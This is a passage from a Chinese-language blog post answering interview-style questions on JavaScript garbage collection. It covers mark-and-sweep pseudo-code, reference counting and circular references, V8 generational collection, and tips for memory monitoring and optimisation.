简要回答:先标记所有可达对象,再清除未标记对象,会产生内存碎片。

详细讲解

算法流程

阶段1:标记

// 从根节点(全局对象、调用栈)开始遍历
// 标记所有可达对象
mark(root);

function mark(obj) {
  if (obj.marked) return;
  obj.marked = true;
  for (let prop in obj) {
    if (typeof obj[prop] === 'object') {
      mark(obj[prop]);
    }
  }
}

阶段2:清除

// 遍历堆内存
// 清除未标记的对象
sweep();

function sweep() {
  for (let obj in heap) {
    if (!obj.marked) {
      delete heap[obj];
    } else {
      obj.marked = false; // 重置标记
    }
  }
}

优点与缺点

  • 优点:简单高效
  • 缺点:产生内存碎片

3. 引用计数算法

简要回答:跟踪每个对象的引用次数,引用为0时回收。无法解决循环引用问题。

详细讲解

工作原理

let obj = { name: 'John' }; // 引用计数 = 1
let obj2 = obj;             // 引用计数 = 2
obj = null;                 // 引用计数 = 1
obj2 = null;                // 引用计数 = 0 → 回收

循环引用问题

function createCycle() {
  let a = {};
  let b = {};
  a.b = b;  // a 引用 b
  b.a = a;  // b 引用 a
  return null;
}

createCycle(); // a 和 b 形成循环引用,引用计数永远不为 0

4. V8 分代回收机制

简要回答:新生代用Scavenge算法(复制存活对象),老生代用Mark-Sweep+Mark-Compact(标记清除+整理)。

详细讲解

分代假设

  • 新生代:对象存活时间短,创建和销毁频繁
  • 老生代:对象存活时间长,常驻内存

内存布局

┌─────────────────────────────────────────────┐
│              V8 Heap                        │
├─────────────────────────────────────────────┤
│  New Space (新生代)   │  Old Space (老生代)  │
│  32MB (64位)          │  1.4GB (64位)       │
│  ┌──────────────┐     │                     │
│  │   From Space │     │                     │
│  │   (使用中)    │     │                     │
│  ├──────────────┤     │                     │
│  │   To Space   │     │                     │
│  │   (闲置)      │     │                     │
│  └──────────────┘     │                     │
└─────────────────────────────────────────────┘

新生代回收(Scavenge 算法)

复制阶段

From Space → 存活对象复制 → To Space → 清空 From → 交换 From/To

晋升条件

  • 对象经历多次 GC 后仍存活
  • To Space 占用超过 25%

老生代回收

Mark-Sweep(标记清除)

  1. 标记存活对象
  2. 清除未标记对象

Mark-Compact(标记整理)

  1. 标记存活对象
  2. 将存活对象移动到内存一端
  3. 清除另一端的空闲内存

增量标记与并发回收

增量标记:将标记阶段拆分成多个小步骤,穿插在 JavaScript 执行中

并发回收:GC 线程与 JavaScript 线程同时运行


5. 内存监控与优化

简要回答:使用Chrome DevTools监控内存;优化策略:减少分配、及时释放、使用WeakMap、避免泄漏、按需加载。

详细讲解

内存监控工具

  • Chrome DevTools:Memory 面板
  • Performance:记录内存使用
  • console.memory:获取内存信息

优化策略

  1. 减少内存分配:复用对象,避免频繁创建
  2. 及时释放引用:手动置为 null
  3. 使用 WeakMap/WeakSet:不阻止垃圾回收
  4. 避免内存泄漏:清理定时器、事件监听器
  5. 代码拆分:按需加载,减少初始内存占用

posted @ 2026-05-09 16:18  雅痞_yuppie  阅读(2)  评论(0)    收藏  举报